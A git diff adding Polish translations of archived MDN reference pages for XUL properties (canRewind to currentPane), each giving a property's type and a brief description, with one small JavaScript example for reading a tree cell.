+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/canRewind">canRewind</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Ta własność jest ustawiona na <code>true</code>, jeśli użytkownik może nacisnąć przycisk Wstecz, aby przejść do poprzedniej strony. Jeśli własność jest <code>false</code>, użytkownik nie będzie mógł przejść do poprzedniej strony. Ustaw tą własność na <code>true</code>, aby zasygnalizować, że użytkownik może przejść do poprzedniej strony. Ustaw na <code>false</code>, aby nie pozwolić na przeniesienie do poprzedniej strony. Posiada efekt włączonego lub wyłączonego przycisku Wstecz.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/checked/index.html b/files/pl/mozilla/tech/xul/własność/checked/index.html
new file mode 100644
index 0000000000..8e7364ee81
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/checked/index.html
@@ -0,0 +1,16 @@
+---
+title: checked
+slug: Mozilla/Tech/XUL/Własność/checked
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/checked
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/checked">checked</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checked"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checked">checked</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/checkstate/index.html b/files/pl/mozilla/tech/xul/własność/checkstate/index.html
new file mode 100644
index 0000000000..76771c9479
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/checkstate/index.html
@@ -0,0 +1,16 @@
+---
+title: checkState
+slug: Mozilla/Tech/XUL/Własność/checkState
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/checkState
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/checkState">checkState</a></span></code>
+</dt><dd> Typ: <i>integer</i>, wartości <code>0</code>, <code>1</code> lub <code>2</code>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-checkState"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/checkState">checkState</a></code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/child/index.html b/files/pl/mozilla/tech/xul/własność/child/index.html
new file mode 100644
index 0000000000..655237b6c1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/child/index.html
@@ -0,0 +1,16 @@
+---
+title: child
+slug: Mozilla/Tech/XUL/Własność/child
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/child
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/child">child</a></span></code>
+</dt><dd> Typ: <i>?</i>
+</dd><dd> Zmienna odwołująca się do węzła, który jest oczekiwanym elementem potomnym, który jest kierowany poprzez element kontenera.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/children/index.html b/files/pl/mozilla/tech/xul/własność/children/index.html
new file mode 100644
index 0000000000..24d74ba15b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/children/index.html
@@ -0,0 +1,20 @@
+---
+title: children
+slug: Mozilla/Tech/XUL/Własność/children
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/children
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/children">children</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ tablica elementów</i>
+ </dd>
+ <dd>
+ Zwraca listę pozycji w <code><a href="/pl/docs/Mozilla/Tech/XUL/richlistbox" title="richlistbox">richlistbox</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/classname/index.html b/files/pl/mozilla/tech/xul/własność/classname/index.html
new file mode 100644
index 0000000000..25ff08f698
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/classname/index.html
@@ -0,0 +1,20 @@
+---
+title: className
+slug: Mozilla/Tech/XUL/Własność/className
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/className
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/clickselectsall/index.html b/files/pl/mozilla/tech/xul/własność/clickselectsall/index.html
new file mode 100644
index 0000000000..24c64b4f79
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/clickselectsall/index.html
@@ -0,0 +1,16 @@
+---
+title: clickSelectsAll
+slug: Mozilla/Tech/XUL/Własność/clickSelectsAll
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/clickSelectsAll
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/clickSelectsAll">clickSelectsAll</a></span></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli jest ustawiony na <code>true</code> zawartość pola tekstowego zostanie zaznaczona kiedy stanie się on aktywny, inaczej kursor pozostanie niezmieniony.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/collapsed/index.html b/files/pl/mozilla/tech/xul/własność/collapsed/index.html
new file mode 100644
index 0000000000..9d7906a2a0
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/collapsed/index.html
@@ -0,0 +1,20 @@
+---
+title: collapsed
+slug: Mozilla/Tech/XUL/Własność/collapsed
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/collapsed
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/color/index.html b/files/pl/mozilla/tech/xul/własność/color/index.html
new file mode 100644
index 0000000000..c9a3065c51
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/color/index.html
@@ -0,0 +1,20 @@
+---
+title: color
+slug: Mozilla/Tech/XUL/Własność/color
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/color
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/color">color</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ kolor jako łańcuch znaków</i>
+ </dd>
+ <dd>
+ Aktualnie wybrany kolor. Ulega modyfikacji kiedy użytkownik zaznaczy inną wartość koloru. Łańcuch znaków koloru przydzielamy w formie #RRGGBB do tej własności, aby zmienić wybrany kolor.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/columns/index.html b/files/pl/mozilla/tech/xul/własność/columns/index.html
new file mode 100644
index 0000000000..20536f3769
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/columns/index.html
@@ -0,0 +1,20 @@
+---
+title: columns
+slug: Mozilla/Tech/XUL/Własność/columns
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/columns
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/columns">columns</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsITreeColumns">nsITreeColumns</a></i>
+ </dd>
+ <dd>
+ Zwraca kolumny dla drzewa jako obiekt <a href="pl/NsITreeColumns">nsITreeColumns</a>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/command/index.html b/files/pl/mozilla/tech/xul/własność/command/index.html
new file mode 100644
index 0000000000..8786e56113
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/command/index.html
@@ -0,0 +1,20 @@
+---
+title: command
+slug: Mozilla/Tech/XUL/Własność/command
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/command
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/command">command</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element id</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-command"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/command">command</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/commandmanager/index.html b/files/pl/mozilla/tech/xul/własność/commandmanager/index.html
new file mode 100644
index 0000000000..f37683afa4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/commandmanager/index.html
@@ -0,0 +1,20 @@
+---
+title: commandManager
+slug: Mozilla/Tech/XUL/Własność/commandManager
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/commandManager
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/commandManager">commandManager</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsICommandManager">nsICommandManager</a></i>
+ </dd>
+ <dd>
+ Menedżer poleceń pozwalający na dokonywanie operacji w edytorze.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/completedefaultindex/index.html b/files/pl/mozilla/tech/xul/własność/completedefaultindex/index.html
new file mode 100644
index 0000000000..1fe8d0ce20
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/completedefaultindex/index.html
@@ -0,0 +1,20 @@
+---
+title: completeDefaultIndex
+slug: Mozilla/Tech/XUL/Własność/completeDefaultIndex
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/completeDefaultIndex
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/completeDefaultIndex">completeDefaultIndex</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-completedefaultindex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/completedefaultindex">completedefaultindex</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/contentdocument/index.html b/files/pl/mozilla/tech/xul/własność/contentdocument/index.html
new file mode 100644
index 0000000000..db0db1b764
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/contentdocument/index.html
@@ -0,0 +1,16 @@
+---
+title: contentDocument
+slug: Mozilla/Tech/XUL/Własność/contentDocument
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/contentDocument
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contentDocument">contentDocument</a></span></code>
+</dt><dd> Typ: <i>document</i>
+</dd><dd> Własność tylko do odczytu zawierająca obiekt dokumentu w danym elemencie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/contenttitle/index.html b/files/pl/mozilla/tech/xul/własność/contenttitle/index.html
new file mode 100644
index 0000000000..445434ee7b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/contenttitle/index.html
@@ -0,0 +1,16 @@
+---
+title: contentTitle
+slug: Mozilla/Tech/XUL/Własność/contentTitle
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/contentTitle
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contentTitle">contentTitle</a></span></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Własność tylko do odczytu zawierająca tytuł obiektu dokumentu w przeglądarce.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/contentvieweredit/index.html b/files/pl/mozilla/tech/xul/własność/contentvieweredit/index.html
new file mode 100644
index 0000000000..8546b92003
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/contentvieweredit/index.html
@@ -0,0 +1,16 @@
+---
+title: contentViewerEdit
+slug: Mozilla/Tech/XUL/Własność/contentViewerEdit
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/contentViewerEdit
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contentViewerEdit">contentViewerEdit</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIContentViewerEdit">nsIContentViewerEdit</a></i>
+</dd><dd> Własność tylko do odczytu zawierająca <a href="pl/NsIContentViewerEdit">nsIContentViewerEdit</a>, który zajmuje się operacjami związanymi ze schowkiem w danym dokumencie.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/contentviewerfile/index.html b/files/pl/mozilla/tech/xul/własność/contentviewerfile/index.html
new file mode 100644
index 0000000000..62404bd566
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/contentviewerfile/index.html
@@ -0,0 +1,16 @@
+---
+title: contentViewerFile
+slug: Mozilla/Tech/XUL/Własność/contentViewerFile
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/contentViewerFile
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contentViewerFile">contentViewerFile</a></span></code>
+</dt><dd> Typ: <i><a href="pl/NsIContentViewerFile">nsIContentViewerFile</a></i>
+</dd><dd> Referencja do interfejsu <a href="pl/NsIContentViewerFile">nsIContentViewerFile</a> dla dokumentu.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/contentwindow/index.html b/files/pl/mozilla/tech/xul/własność/contentwindow/index.html
new file mode 100644
index 0000000000..751e00915d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/contentwindow/index.html
@@ -0,0 +1,18 @@
+---
+title: contentWindow
+slug: Mozilla/Tech/XUL/Własność/contentWindow
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/contentWindow
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contentWindow">contentWindow</a></span></code></dt>
+ <dd>
+ Typ: <em>window</em></dd>
+ <dd>
+ Własność tylko do odczytu zawierająca obiekt okna w elemencie.</dd>
+</dl>
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/własność/contextmenu/index.html b/files/pl/mozilla/tech/xul/własność/contextmenu/index.html
new file mode 100644
index 0000000000..487cece972
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/contextmenu/index.html
@@ -0,0 +1,17 @@
+---
+title: contextMenu
+slug: Mozilla/Tech/XUL/Własność/contextMenu
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/contextMenu
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>
+</dt><dd> Typ: <i>id elementu popup</i>
+</dd><dd> Pobiera i ustawia wartość atrybutu <code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>.
+</dd></dl>
+<p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/control/index.html b/files/pl/mozilla/tech/xul/własność/control/index.html
new file mode 100644
index 0000000000..c94de49ed6
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/control/index.html
@@ -0,0 +1,23 @@
+---
+title: control
+slug: Mozilla/Tech/XUL/Własność/control
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/control
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/control">control</a></span></code>&lt;magic name="\"PAGENAME\"/"&gt;&lt;/magic&gt;</dt>
+</dl>
+<p></p>
+<dl>
+ <dd>
+ Typ:
+ <i>
+ id elementu</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-control"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/control">control</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/controller/index.html b/files/pl/mozilla/tech/xul/własność/controller/index.html
new file mode 100644
index 0000000000..9ff02a89f7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/controller/index.html
@@ -0,0 +1,20 @@
+---
+title: controller
+slug: Mozilla/Tech/XUL/Własność/controller
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/controller
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controller">controller</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAutoCompleteController">nsIAutoCompleteController</a></i>
+ </dd>
+ <dd>
+ Zwraca kontener dla automatycznego uzupełnienia elementu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/crop/index.html b/files/pl/mozilla/tech/xul/własność/crop/index.html
new file mode 100644
index 0000000000..c2791ed34f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/crop/index.html
@@ -0,0 +1,20 @@
+---
+title: crop
+slug: Mozilla/Tech/XUL/Własność/crop
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/crop
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/crop">crop</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-crop"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/crop">crop</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/current/index.html b/files/pl/mozilla/tech/xul/własność/current/index.html
new file mode 100644
index 0000000000..ad28afc641
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/current/index.html
@@ -0,0 +1,20 @@
+---
+title: current
+slug: Mozilla/Tech/XUL/Własność/current
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/current
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/current">current</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ boolean</i>
+ </dd>
+ <dd>
+ Pobiera i ustawia wartość atrybutu <code id="a-current"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/current">current</a></code>.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/currentindex/index.html b/files/pl/mozilla/tech/xul/własność/currentindex/index.html
new file mode 100644
index 0000000000..5aaab3d796
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currentindex/index.html
@@ -0,0 +1,44 @@
+---
+title: currentIndex
+slug: Mozilla/Tech/XUL/Własność/currentIndex
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentIndex
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentIndex">currentIndex</a></span></code>
+</dt><dd> Typ: <i>integer</i>
+</dd><dd> Ustawia indeks bieżącego aktywnego wiersza w <code><a href="/pl/docs/Mozilla/Tech/XUL/tree" title="tree">tree</a></code> (drzewie). Jeśli jest brak aktywnego wiersza, wartość będzie <code>-1</code>. Dla wielu zaznaczeń drzew, bieżącym indeksem jest ostatnio zaznaczony wiersz. Nie stosuj tej własności do zmiany zaznaczenia. Zamiast stosować metody obiektu <code><a href="pl/NsITreeSelection">nsITreeSelection</a></code> dostępnego przez <code>tree.view.selection</code>.
+</dd></dl>
+<div class="noinclude">
+<pre>// One way of retrieving the text of a cell.
+&lt;script language ="javascript"&gt;
+function treeRowClicked(){
+ var tree = Id("my-tree");
+ var selection = tree.contentView.getItemAtIndex( tree.currentIndex );
+ var foo = selection.firstChild.firstChild.getAttribute("label");
+ alert(foo);
+}
+&lt;/script&gt;
+
+&lt;tree id="my-tree" seltype="single" onselect="treeRowClicked()"&gt;
+ &lt;treecols&gt;
+ &lt;treecol label="Title" flex="1"/&gt;&lt;treecol label="URL" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="joe@somewhere.com"/&gt;
+ &lt;treecell label="Ściśle tajne plany"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="mel@whereever.com"/&gt;
+ &lt;treecell label="Zróbmy obiad"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre>
+</div>
diff --git a/files/pl/mozilla/tech/xul/własność/currentitem/index.html b/files/pl/mozilla/tech/xul/własność/currentitem/index.html
new file mode 100644
index 0000000000..0afddb6096
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currentitem/index.html
@@ -0,0 +1,20 @@
+---
+title: currentItem
+slug: Mozilla/Tech/XUL/Własność/currentItem
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentItem
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentItem">currentItem</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element listitem</i>
+ </dd>
+ <dd>
+ Zwraca ostatnią zaznaczona pozycję na liście, która jest użyteczna w listach wielokrotnego zaznaczenia.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/currentnotification/index.html b/files/pl/mozilla/tech/xul/własność/currentnotification/index.html
new file mode 100644
index 0000000000..fc6c10d121
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currentnotification/index.html
@@ -0,0 +1,20 @@
+---
+title: currentNotification
+slug: Mozilla/Tech/XUL/Własność/currentNotification
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentNotification
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentNotification">currentNotification</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element powiadomienia</i>
+ </dd>
+ <dd>
+ Aktualnie wyświetlany element <a href="pl/XUL/notification">notification</a> lub null. Własność tylko do odczytu.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/currentpage/index.html b/files/pl/mozilla/tech/xul/własność/currentpage/index.html
new file mode 100644
index 0000000000..ec74cd8e94
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currentpage/index.html
@@ -0,0 +1,20 @@
+---
+title: currentPage
+slug: Mozilla/Tech/XUL/Własność/currentPage
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentPage
+---
+<div class="noinclude">
+ <span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/currentPage">currentPage</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ element <code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code></i>
+ </dd>
+ <dd>
+ Wartość zwraca element kreatora (<code><a href="/pl/docs/Mozilla/Tech/XUL/wizardpage" title="wizardpage">wizardpage</a></code>), który jest aktualnie wyświetlany. Możemy modyfikować tą wartość, aby zmienić aktualną stronę.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/własność/currentpane/index.html b/files/pl/mozilla/tech/xul/własność/currentpane/index.html
new file mode 100644
index 0000000000..820aa46848
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/własność/currentpane/index.html
@@ -0,0 +1,16 @@
+---
+title: currentPane
+slug: Mozilla/Tech/XUL/Własność/currentPane
+tags:
+ - Własności_XUL
+translation_of: Archive/Mozilla/XUL/Property/currentPane
+---
+<div class="noinclude"><span class="breadcrumbs XULRefProp_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL" title="Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
